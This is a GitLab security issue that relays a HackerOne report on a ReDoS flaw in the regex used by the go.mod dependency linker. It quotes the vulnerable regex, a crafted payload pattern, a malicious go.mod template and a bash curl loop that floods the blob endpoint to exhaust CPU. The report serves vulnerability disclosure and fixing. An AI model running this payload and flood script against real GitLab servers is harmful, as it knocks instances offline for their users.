Skip to content

ReDoS in gomod dependency linker

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2359528 by joaxcar on 2024-02-09, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

This is the regexp to check for go package paths

def go_package_regex  
        # A Go package name looks like a URL but is not; it:  
        #   - Must not have a scheme, such as http:// or https://  
        #   - Must not have a port number, such as :8080 or :8443

        [@]go_package_regex ||= %r{  
          \b (?# word boundary)  
          (?<domain>  
            [0-9a-z](?:(?:-|[0-9a-z]){0,61}[0-9a-z])? (?# first domain)  
            (?:\.[0-9a-z](?:(?:-|[0-9a-z]){0,61}[0-9a-z])?)* (?# inner domains)  
            \.[a-z]{2,} (?# top-level domain)  
          )  
          (?<path>/(?:  
            [-/$_.+!*'(),0-9a-z] (?# plain URL character)  
            | %[0-9a-f]{2})* (?# URL encoded character)  
          )? (?# path)  
          \b (?# word boundary)  
        }ix  
      end  

It a quite an advanced regex, and it is vulnerable to catastrophic backtracking.

This regex is used as a part in the gomod linker like this

      REGEX = Regexp.new("(?<name>#{NAME.source})(?:\\s+(?<version>v#{SEMVER.source}))?", SEMVER.options | NAME.options).freeze  

An attacker can craft a payload of this structure

'a.a' + '0.0'.repeat(20000)  

By creating a file looking like this

module example.com/mymodule

go 1.14

require (  
    a.a0.00.00. <BIG_PAYLOAD> .00.00.0 v1.2.3  
)

the attacker can make the GitLab instance unresponsive by sending 1 request a second to

https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple

to put all CPUs at max capacity (tested on 1K reference architecture)

Steps to reproduce

Use a local hosted Gitlab server

  1. Log in to Gitlab
  2. Create a new project (or use an existing one) make it public (for ease of attack)
  3. Upload the file attached here (or create your own one named go.mod)

go.mod

  1. Visit https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple
  2. Look in devtools that the request will eventually fail
  3. To exhaust the server run this script in a terminal (change the URL)
###  !/bin/bash  
###  URL to which the curl request will be made  
URL="http://20.236.120.94/root/test/-/blob/main/go.mod?format=json&viewer=simple"

###  Duration for the loop to run: 1 minute (60 seconds)  
DURATION=60

###  Start time  
START_TIME=$(date +%s)

###  Loop until the duration is reached  
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do  
    # Make the curl request  
    curl $URL &

    # Wait for 1 second  
    sleep 1  
done  
  1. SSH into the gitlab server and use top or htop to view the CPU usage

Screenshot_2024-02-09_at_09.04.22.png

Impact

DOS of gitlab instance and exhaustive resource consumption

What is the current bug behavior?

Creating a malicious go.mod file will cause REDOS

What is the expected correct behavior?

The go.mod file should not cause ReDos

Impact

DOS of gitlab instance and exhaustive resource consumption

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: